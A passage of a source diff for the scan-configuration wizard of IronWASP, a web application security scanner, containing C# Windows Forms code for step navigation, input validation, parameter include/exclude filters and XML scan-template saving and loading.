this.Step3StatusTB.ForeColor = Color.Red; - this.Step3StatusTB.Visible = true; - } - } - void ShowStep4Error(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Red; - this.Step2StatusTB.Visible = true; - } - } - - string CheckStep1Input() - { - if (!(InjectQueryCB.Checked || InjectBodyCB.Checked || InjectCookieCB.Checked || InjectHeadersCB.Checked || InjectUrlPathPartsCB.Checked || InjectNamesCB.Checked)) - { - return "Atleat one section of the request must be selected for scanning."; - } - if (InjectQueryCB.Checked) QueryParametersFilterCB.Checked = true; - if (InjectBodyCB.Checked) BodyParametersFilterCB.Checked = true; - if (InjectCookieCB.Checked) CookieParametersFilterCB.Checked = true; - if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Checked = true; - - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - return ""; - } - } - return "Atleat one security check must be selected for scanning."; - } - - string CheckStep3Input() - { - if (ScanBranchSessionPluginsCombo.Text.Trim().Length > 0 && !SessionPlugin.List().Contains(ScanBranchSessionPluginsCombo.Text)) - { - return "Session Plugin value is invalid, either enter a valid Plugin name or leave this value blank"; - } - return ""; - } - - internal void UpdateScanBranchConfigFromUI() - { - ScanBranch.HostName = this.BaseRequest.Host; - ScanBranch.UrlPattern = this.ScanBranchUrlPatternTB.Text; - if (this.BaseRequest != null) - { - ScanBranch.HTTP = !this.BaseRequest.SSL; - ScanBranch.HTTPS = this.BaseRequest.SSL; - } - - ScanBranch.PromptUser = PromptUserCB.Checked; - - ScanBranch.ScanUrl = this.InjectUrlPathPartsCB.Checked; - ScanBranch.ScanQuery = this.InjectQueryCB.Checked; - ScanBranch.ScanBody = this.InjectBodyCB.Checked; - ScanBranch.ScanCookie = this.InjectCookieCB.Checked; - ScanBranch.ScanHeaders = this.InjectHeadersCB.Checked; - - ScanBranch.PickFromProxyLog = this.ScanBranchPickProxyLogCB.Checked; - ScanBranch.PickFromProbeLog = this.ScanBranchPickProbeLogCB.Checked; - ScanBranch.ProxyLogIDs.Clear(); - ScanBranch.ProbeLogIDs.Clear(); - - ScanBranch.SessionPlugin = ""; - if (this.ScanBranchSessionPluginsCombo.SelectedItem != null) - { - string PluginName = this.ScanBranchSessionPluginsCombo.SelectedItem.ToString(); - if (PluginName.Length > 0) - { - if (SessionPlugin.List().Contains(PluginName)) - { - ScanBranch.SessionPlugin = PluginName; - if (ScanThreadLimitCB.Checked) - { - Scanner.MaxParallelScanCount = 1; - IronUI.UpdateScannerSettingsInUIFromConfig(); - IronDB.StoreScannerSettings(); - } - } - } - } - - ScanBranch.FormatPlugins.Clear(); - - foreach (DataGridViewRow Row in this.FormatGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - ScanBranch.FormatPlugins.Add(Row.Cells[1].Value.ToString()); - } - } - - ScanBranch.ActivePlugins.Clear(); - - foreach (DataGridViewRow Row in this.ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - ScanBranch.ActivePlugins.Add(Row.Cells[1].Value.ToString()); - } - } - - - ScanBranch.QueryWhiteList.Clear(); - ScanBranch.QueryBlackList.Clear(); - - ScanBranch.BodyWhiteList.Clear(); - ScanBranch.BodyBlackList.Clear(); - - ScanBranch.CookieWhiteList.Clear(); - ScanBranch.CookieBlackList.Clear(); - - ScanBranch.HeaderWhiteList.Clear(); - ScanBranch.HeaderBlackList.Clear(); - - if (QueryParametersFilterCB.Checked) - { - if (QueryParametersPlusRB.Checked) - { - foreach (string Name in QueryParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanBranch.QueryWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in QueryParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanBranch.QueryBlackList.Add(Name.Trim()); - } - } - } - - if (BodyParametersFilterCB.Checked) - { - if (BodyParametersPlusRB.Checked) - { - foreach (string Name in BodyParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanBranch.BodyWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in BodyParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanBranch.BodyBlackList.Add(Name.Trim()); - } - } - } - - if (CookieParametersFilterCB.Checked) - { - if (CookieParametersPlusRB.Checked) - { - foreach (string Name in CookieParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanBranch.CookieWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in CookieParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanBranch.CookieBlackList.Add(Name.Trim()); - } - } - } - - if (HeadersParametersFilterCB.Checked) - { - if (HeadersParametersPlusRB.Checked) - { - foreach (string Name in HeadersParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanBranch.HeaderWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in HeadersParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - ScanBranch.HeaderBlackList.Add(Name.Trim()); - } - } - } - } - - private void LaunchSessionPluginCreationAssistantLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); - SPCA.Show(); - } - - private void QueryParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersFilterCB.Checked) - { - QueryParametersPlusRB.Enabled = true; - QueryParametersMinusRB.Enabled = true; - QueryParametersPlusTB.Enabled = true; - QueryParametersMinusTB.Enabled = true; - } - else - { - QueryParametersPlusRB.Enabled = false; - QueryParametersMinusRB.Enabled = false; - QueryParametersPlusTB.Enabled = false; - QueryParametersMinusTB.Enabled = false; - } - } - - private void BodyParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersFilterCB.Checked) - { - BodyParametersPlusRB.Enabled = true; - BodyParametersMinusRB.Enabled = true; - BodyParametersPlusTB.Enabled = true; - BodyParametersMinusTB.Enabled = true; - } - else - { - BodyParametersPlusRB.Enabled = false; - BodyParametersMinusRB.Enabled = false; - BodyParametersPlusTB.Enabled = false; - BodyParametersMinusTB.Enabled = false; - } - } - - private void CookieParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersFilterCB.Checked) - { - CookieParametersPlusRB.Enabled = true; - CookieParametersMinusRB.Enabled = true; - CookieParametersPlusTB.Enabled = true; - CookieParametersMinusTB.Enabled = true; - } - else - { - CookieParametersPlusRB.Enabled = false; - CookieParametersMinusRB.Enabled = false; - CookieParametersPlusTB.Enabled = false; - CookieParametersMinusTB.Enabled = false; - } - } - - private void HeadersParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersFilterCB.Checked) - { - HeadersParametersPlusRB.Enabled = true; - HeadersParametersMinusRB.Enabled = true; - HeadersParametersPlusTB.Enabled = true; - HeadersParametersMinusTB.Enabled = true; - } - else - { - HeadersParametersPlusRB.Enabled = false; - HeadersParametersMinusRB.Enabled = false; - HeadersParametersPlusTB.Enabled = false; - HeadersParametersMinusTB.Enabled = false; - } - } - - private void QueryParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersPlusRB.Checked) - { - QueryParametersFilterCB.Text = "Only scan these Query Parameters:"; - } - } - - private void BodyParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersPlusRB.Checked) - { - BodyParametersFilterCB.Text = "Only scan these Body Parameters:"; - } - } - - private void CookieParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersPlusRB.Checked) - { - CookieParametersFilterCB.Text = "Only scan these Cookie Parameters:"; - } - } - - private void HeadersParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersPlusRB.Checked) - { - HeadersParametersFilterCB.Text = "Only scan these Header Parameters:"; - } - } - - private void QueryParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersMinusRB.Checked) - { - QueryParametersFilterCB.Text = "Don't scan these Query Parameters:"; - } - } - - private void BodyParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersMinusRB.Checked) - { - BodyParametersFilterCB.Text = "Don't scan these Body Parameters:"; - } - } - - private void CookieParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersMinusRB.Checked) - { - CookieParametersFilterCB.Text = "Don't scan these Cookie Parameters:"; - } - } - - private void HeadersParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersMinusRB.Checked) - { - HeadersParametersFilterCB.Text = "Don't scan these Header Parameters:"; - } - } - - private void RefreshSessListLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ScanBranchSessionPluginsCombo.Items.Clear(); - ScanBranchSessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); - } - - private void ScanAllPluginsCB_Click(object sender, EventArgs e) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - Row.Cells[0].Value = ScanAllPluginsCB.Checked; - } - } - - private void ScanBranchWizard_FormClosing(object sender, FormClosingEventArgs e) - { - if (IronUI.UI.CanShutdown) return; - if (!CanClose) - { - if (this.CurrentStep == 0) - { - this.CanClose = true; - } - else if (this.CurrentStep == 4) - { - e.Cancel = true; - if (StepFourPreviousBtn.Enabled) - { - MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); - } - else - { - MessageBox.Show("This window cannot be closed by the user now.\r\nAfter all scan jobs are created the window will automatically close."); - } - } - else - { - e.Cancel = true; - MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); - } - } - } - - internal void CloseWindow() - { - this.CanClose = true; - this.Close(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see . +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.IO; +using System.Xml; + +namespace IronWASP +{ + public partial class ScanBranchWizard : Form + { + bool CanClose = false; + + internal Request BaseRequest; + + int CurrentStep = 0; + + public ScanBranchWizard() + { + InitializeComponent(); + } + + private void ScanBranchPickProxyLogCB_CheckedChanged(object sender, EventArgs e) + { + ScanBranch.PickFromProxyLog = ScanBranchPickProxyLogCB.Checked; + } + + private void ScanBranchPickProbeLogCB_CheckedChanged(object sender, EventArgs e) + { + ScanBranch.PickFromProbeLog = ScanBranchPickProbeLogCB.Checked; + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + if (ScanBranch.ScanThread != null) + { + try + { + ScanBranch.ScanThread.Abort(); + } + catch + { + // + } + } + this.CanClose = true; + ScanBranchWizard.ActiveForm.Close(); + } + + private void FinalBtn_Click(object sender, EventArgs e) + { + if (FinalBtn.Text.Equals("Start Scan")) + { + FinalBtn.Enabled = false; + StepFourPreviousBtn.Enabled = false; + + ScanBranchErrorTB.Text = ""; + if (ScanBranchHostNameTB.Text.Trim().Length == 0) + { + ScanBranchErrorTB.Text = "No HostName Specified"; + FinalBtn.Enabled = true; + StepFourPreviousBtn.Enabled = true; + return; + } + if (ScanBranchUrlPatternTB.Text.Trim().Length == 0) + { + ScanBranchErrorTB.Text = "No Url Pattern Specified"; + FinalBtn.Enabled = true; + StepFourPreviousBtn.Enabled = true; + return; + } + if (!(ScanBranchPickProxyLogCB.Checked || ScanBranchPickProbeLogCB.Checked)) + { + ScanBranchErrorTB.Text = "Log source not selected. Select from Proxy Log/Probe Log"; + FinalBtn.Enabled = true; + StepFourPreviousBtn.Enabled = true; + return; + } + + ScanBranch.ProxyLogIDs.Clear(); + ScanBranch.ProbeLogIDs.Clear(); + UpdateScanBranchConfigFromUI(); + ScanBranchStatsPanel.Visible = true; + ScanBranchProgressLbl.Text = "Selecting requests based on filter"; + FinalBtn.Text = "Cancel"; + FinalBtn.Enabled = true; + /* + if (ScanBranch.PickFromProxyLog) + { + if (IronUI.UI.ProxyLogGrid.Rows.Count == 0 && !ScanBranch.PickFromProbeLog) + { + ScanBranchErrorTB.Text = "Proxy Log is Empty. Capture Some Traffic with the Proxy First"; + ScanBranchStatsPanel.Visible = false; + FinalBtn.Enabled = true; + StepFourPreviousBtn.Enabled = true; + return; + } + foreach (DataGridViewRow Row in IronUI.UI.ProxyLogGrid.Rows) + { + try + { + if (ScanBranch.CanScan(Row, "Proxy")) + { + ScanBranch.ProxyLogIDs.Add((int)Row.Cells[0].Value); + } + } + catch (Exception Exp) + { + IronException.Report("ScanBranch Error reading ProxyLogGrid Message", Exp.Message, Exp.StackTrace); + } + } + if (ScanBranch.ProxyLogIDs.Count == 0 && !ScanBranch.PickFromProbeLog) + { + ScanBranchErrorTB.Text = "No Requests were Selected. Try Changing the Filter or Capture More Traffic With the Proxy"; + ScanBranchStatsPanel.Visible = false; + FinalBtn.Enabled = true; + StepFourPreviousBtn.Enabled = true; + return; + } + } + if (ScanBranch.PickFromProbeLog) + { + if (IronUI.UI.ProbeLogGrid.Rows.Count == 0 && !ScanBranch.PickFromProxyLog) + { + ScanBranchErrorTB.Text = "Probe Log is Empty. Crawl a website to populate the Probe Log"; + ScanBranchStatsPanel.Visible = false; + FinalBtn.Enabled = true; + StepFourPreviousBtn.Enabled = true; + return; + } + foreach (DataGridViewRow Row in IronUI.UI.ProbeLogGrid.Rows) + { + try + { + if (ScanBranch.CanScan(Row, "Probe")) + { + ScanBranch.ProbeLogIDs.Add((int)Row.Cells[0].Value); + } + } + catch (Exception Exp) + { + IronException.Report("ScanBranch Error reading ProbeLogGrid Message", Exp.Message, Exp.StackTrace); + } + } + if (ScanBranch.ProbeLogIDs.Count == 0 && !ScanBranch.PickFromProxyLog) + { + ScanBranchErrorTB.Text = "No Requests were Selected. Try Changing the Filter or Crawl more of the site."; + ScanBranchStatsPanel.Visible = false; + FinalBtn.Enabled = true; + StepFourPreviousBtn.Enabled = true; + return; + } + } + if (ScanBranch.ProxyLogIDs.Count == 0 && ScanBranch.ProbeLogIDs.Count == 0) + { + ScanBranchErrorTB.Text = "No Requests were Selected. Try Changing the Filter or make sure there are Requests in the Proxy/Probe Logs"; + ScanBranchStatsPanel.Visible = false; + FinalBtn.Enabled = true; + StepFourPreviousBtn.Enabled = true; + return; + } + */ + //ScanBranchProgressBar.Minimum = 0; + //ScanBranchProgressBar.Maximum = ScanBranch.ProxyLogIDs.Count + ScanBranch.ProbeLogIDs.Count; + //ScanBranchProgressBar.Step = 1; + //ScanBranchProgressBar.Value = 0; + //ScanBranchProgressLbl.Text = ScanBranch.ProxyLogIDs.Count.ToString() + " Requests Selected"; + IronUI.UI.ASMainTabs.SelectTab(0); + if (!IronUI.UI.main_tab.SelectedTab.Name.Equals("mt_auto")) IronUI.UI.main_tab.SelectTab("mt_auto"); + this.Activate(); + ScanBranch.Start(); + } + else + { + ScanBranch.Abort(); + this.Close(); + } + } + + private void ScanBranchWizard_Load(object sender, EventArgs e) + { + foreach (string Name in ActivePlugin.List()) + { + ScanPluginsGrid.Rows.Add(new object[]{true, Name}); + } + foreach (string Name in FormatPlugin.List()) + { + FormatGrid.Rows.Add(new object[] { true, Name }); + } + + LoginRecordingComboBox.Items.AddRange(Recording.Recording.GetNames().ToArray()); + ScanBranchSessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); + + if (InjectQueryCB.Checked) QueryParametersFilterCB.Enabled = true; + if (InjectBodyCB.Checked) BodyParametersFilterCB.Enabled = true; + if (InjectCookieCB.Checked) CookieParametersFilterCB.Enabled = true; + if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Enabled = true; + + } + + private void LoadTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + OpenTemplateDialog.Title = "Open an existing Scan Template"; + + while (OpenTemplateDialog.ShowDialog() == DialogResult.OK) + { + try + { + FileInfo OpenedFile = new FileInfo(OpenTemplateDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + string TemplateXml = Reader.ReadToEnd(); + Reader.Close(); + LoadSettingsFromTemplate(TemplateXml); + ScanTemplateNameLbl.Text = string.Format("Loaded template file - {0}", OpenedFile.Name); + break; + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to open file: {0}", new object[] { Exp.Message })); + } + } + } + + void LoadSettingsFromTemplate(string TemplateXml) + { + XmlDocument XDoc = new XmlDocument(); + XDoc.LoadXml(TemplateXml); + foreach (XmlNode Node in XDoc.ChildNodes[1].ChildNodes) + { + switch (Node.Name) + { + case ("scan_type"): + break; + case ("prompt_user"): + PromptUserCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_upp"): + InjectUrlPathPartsCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_query"): + InjectQueryCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_body"): + InjectBodyCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_cookie"): + InjectCookieCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_header"): + InjectHeadersCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_names"): + InjectNamesCB.Checked = (Node.InnerText == "true"); + break; + case ("checks"): + int CheckedCount = 0; + foreach (string PluginName in Node.InnerText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) + { + Row.Cells[0].Value = true; + CheckedCount++; + } + } + } + if (CheckedCount == ScanPluginsGrid.Rows.Count) + ScanAllPluginsCB.Checked = true; + else + ScanAllPluginsCB.Checked = false; + break; + case ("formats"): + foreach (string PluginName in Node.InnerText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + foreach (DataGridViewRow Row in FormatGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) + { + Row.Cells[0].Value = true; + } + } + } + break; + case ("session_plugin"): + try + { + ScanBranchSessionPluginsCombo.SelectedIndex = ScanBranchSessionPluginsCombo.Items.IndexOf(Node.InnerText); + } + catch { } + break; + case ("query_white_list"): + QueryParametersPlusTB.Text = Node.InnerText; + QueryParametersPlusRB.Checked = true; + break; + case ("query_black_list"): + QueryParametersMinusTB.Text = Node.InnerText; + QueryParametersMinusRB.Checked = true; + break; + case ("body_white_list"): + BodyParametersPlusTB.Text = Node.InnerText; + BodyParametersPlusRB.Checked = true; + break; + case ("body_black_list"): + BodyParametersMinusTB.Text = Node.InnerText; + BodyParametersMinusRB.Checked = true; + break; + case ("cookie_white_list"): + CookieParametersPlusTB.Text = Node.InnerText; + CookieParametersPlusRB.Checked = true; + break; + case ("cookie_black_list"): + CookieParametersMinusTB.Text = Node.InnerText; + CookieParametersMinusRB.Checked = true; + break; + case ("headers_white_list"): + HeadersParametersPlusTB.Text = Node.InnerText; + HeadersParametersPlusRB.Checked = true; + break; + case ("headers_black_list"): + HeadersParametersMinusTB.Text = Node.InnerText; + HeadersParametersMinusRB.Checked = true; + break; + case ("query_filter_type"): + if (Node.InnerText.Equals("+")) + QueryParametersPlusRB.Checked = true; + else + QueryParametersMinusRB.Checked = true; + break; + case ("body_filter_type"): + if (Node.InnerText.Equals("+")) + BodyParametersPlusRB.Checked = true; + else + BodyParametersMinusRB.Checked = true; + break; + case ("cookie_filter_type"): + if (Node.InnerText.Equals("+")) + CookieParametersPlusRB.Checked = true; + else + CookieParametersMinusRB.Checked = true; + break; + case ("headers_filter_type"): + if (Node.InnerText.Equals("+")) + HeadersParametersPlusRB.Checked = true; + else + HeadersParametersMinusRB.Checked = true; + break; + } + } + } + + private void SaveTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + while (SaveTemplateDialog.ShowDialog() == DialogResult.OK) + { + FileInfo Info = new FileInfo(SaveTemplateDialog.FileName); + string Content = GetTemplateXml(); + if (Info.Name.Length == 0) + { + MessageBox.Show("Please enter a name"); + } + else if (!Info.Name.EndsWith(".ibst")) + { + MessageBox.Show("The file extension must be .ibst"); + } + else + { + try + { + StreamWriter Writer = new StreamWriter(Info.FullName); + Writer.Write(Content); + Writer.Close(); + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); + } + break; + } + } + } + + string GetTemplateXml() + { + StringBuilder SB = new StringBuilder(); + XmlWriterSettings XWS = new XmlWriterSettings(); + XWS.Indent = true; + XmlWriter XW = XmlWriter.Create(SB, XWS); + XW.WriteStartDocument(); + XW.WriteStartElement("scan_template"); + XW.WriteStartElement("version"); XW.WriteValue("1.0"); XW.WriteEndElement(); + XW.WriteStartElement("scan_type"); XW.WriteValue("2"); XW.WriteEndElement(); + //Crawler settings + + //Selected Injection Points + XW.WriteStartElement("inject_upp"); XW.WriteValue(InjectUrlPathPartsCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_query"); XW.WriteValue(InjectQueryCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_body"); XW.WriteValue(InjectBodyCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_cookie"); XW.WriteValue(InjectCookieCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_header"); XW.WriteValue(InjectHeadersCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_names"); XW.WriteValue(InjectNamesCB.Checked); XW.WriteEndElement(); + //Selected checks + XW.WriteStartElement("checks"); + StringBuilder CB = new StringBuilder(); + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (CB.Length > 0) CB.Append(", "); + CB.Append(Row.Cells[1].Value.ToString()); + } + } + XW.WriteValue(CB.ToString()); + XW.WriteEndElement(); + + //Selected formats + XW.WriteStartElement("checks"); + StringBuilder FB = new StringBuilder(); + foreach (DataGridViewRow Row in FormatGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (FB.Length > 0) FB.Append(", "); + FB.Append(Row.Cells[1].Value.ToString()); + } + } + XW.WriteValue(FB.ToString()); + XW.WriteEndElement(); + if (ScanBranchSessionPluginsCombo.SelectedIndex > -1) + { + XW.WriteStartElement("session_plugin"); XW.WriteValue(ScanBranchSessionPluginsCombo.Text); XW.WriteEndElement(); + } + + XW.WriteStartElement("query_white_list"); XW.WriteValue(QueryParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("query_black_list"); XW.WriteValue(QueryParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("body_white_list"); XW.WriteValue(BodyParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("body_black_list"); XW.WriteValue(BodyParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("cookie_white_list"); XW.WriteValue(CookieParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("cookie_black_list"); XW.WriteValue(CookieParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("headers_white_list"); XW.WriteValue(HeadersParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("headers_black_list"); XW.WriteValue(HeadersParametersMinusTB.Text); XW.WriteEndElement(); + + if (QueryParametersPlusRB.Checked) + { + XW.WriteStartElement("query_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("query_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (BodyParametersPlusRB.Checked) + { + XW.WriteStartElement("body_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("body_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (CookieParametersPlusRB.Checked) + { + XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (HeadersParametersPlusRB.Checked) + { + XW.WriteStartElement("headers_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("headers_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + return SB.ToString(); + } + + void RefreshInjectNamesText() + { + StringBuilder SB = new StringBuilder(); + + if (InjectQueryCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Query"); + } + if (InjectBodyCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Body"); + } + if (InjectCookieCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Cookie"); + } + if (InjectHeadersCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Header"); + } + + InjectNamesCB.Text = string.Format("Parameter Names of {0}", SB.ToString()); + } + + private void InjectQueryCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectQueryCB.Checked) + { + QueryParametersFilterCB.Enabled = true; + } + else + { + QueryParametersFilterCB.Checked = false; + QueryParametersFilterCB.Enabled = false; + } + } + + private void InjectBodyCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectBodyCB.Checked) + { + BodyParametersFilterCB.Enabled = true; + } + else + { + BodyParametersFilterCB.Checked = false; + BodyParametersFilterCB.Enabled = false; + } + } + + private void InjectCookieCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectCookieCB.Checked) + { + CookieParametersFilterCB.Enabled = true; + } + else + { + CookieParametersFilterCB.Checked = false; + CookieParametersFilterCB.Enabled = false; + } + } + + private void InjectHeadersCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectHeadersCB.Checked) + { + HeadersParametersFilterCB.Enabled = true; + } + else + { + HeadersParametersFilterCB.Checked = false; + HeadersParametersFilterCB.Enabled = false; + } + } + + private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanPluginsGrid.SelectedRows == null) return; + if (ScanPluginsGrid.SelectedRows.Count == 0) return; + + if ((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) + { + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = false; + ScanAllPluginsCB.Checked = false; + } + else + { + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = true; + } + } + + private void FormatGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (FormatGrid.SelectedRows == null) return; + if (FormatGrid.SelectedRows.Count == 0) return; + + if ((bool)FormatGrid.SelectedRows[0].Cells[0].Value) + { + FormatGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + FormatGrid.SelectedRows[0].Cells[0].Value = true; + } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + switch (BaseTabs.SelectedTab.Name) + { + case ("Zero"): + if (this.CurrentStep != 0) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("One"): + if (this.CurrentStep != 1) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Two"): + if (this.CurrentStep != 2) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Three"): + if (this.CurrentStep != 3) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Four"): + if (this.CurrentStep != 4) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + } + } + + private void StepZeroNextBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 1; + this.BaseTabs.SelectTab(1); + } + + private void StepOnePreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 0; + this.BaseTabs.SelectTab(0); + } + + private void StepOneNextBtn_Click(object sender, EventArgs e) + { + ShowStep1Error(""); + string Msg = CheckStep1Input(); + if (Msg.Length == 0) + { + this.CurrentStep = 2; + this.BaseTabs.SelectTab(2); + } + else + { + ShowStep1Error(Msg); + } + } + + private void StepTwoPreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 1; + this.BaseTabs.SelectTab(1); + } + + private void StepTwoNextBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 3; + this.BaseTabs.SelectTab(3); + } + + private void StepThreePreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 2; + this.BaseTabs.SelectTab(2); + } + + private void StepThreeNextBtn_Click(object sender, EventArgs e) + { + ShowStep3Error(""); + string Msg = CheckStep3Input(); + if (Msg.Length == 0) + { + this.CurrentStep = 4; + 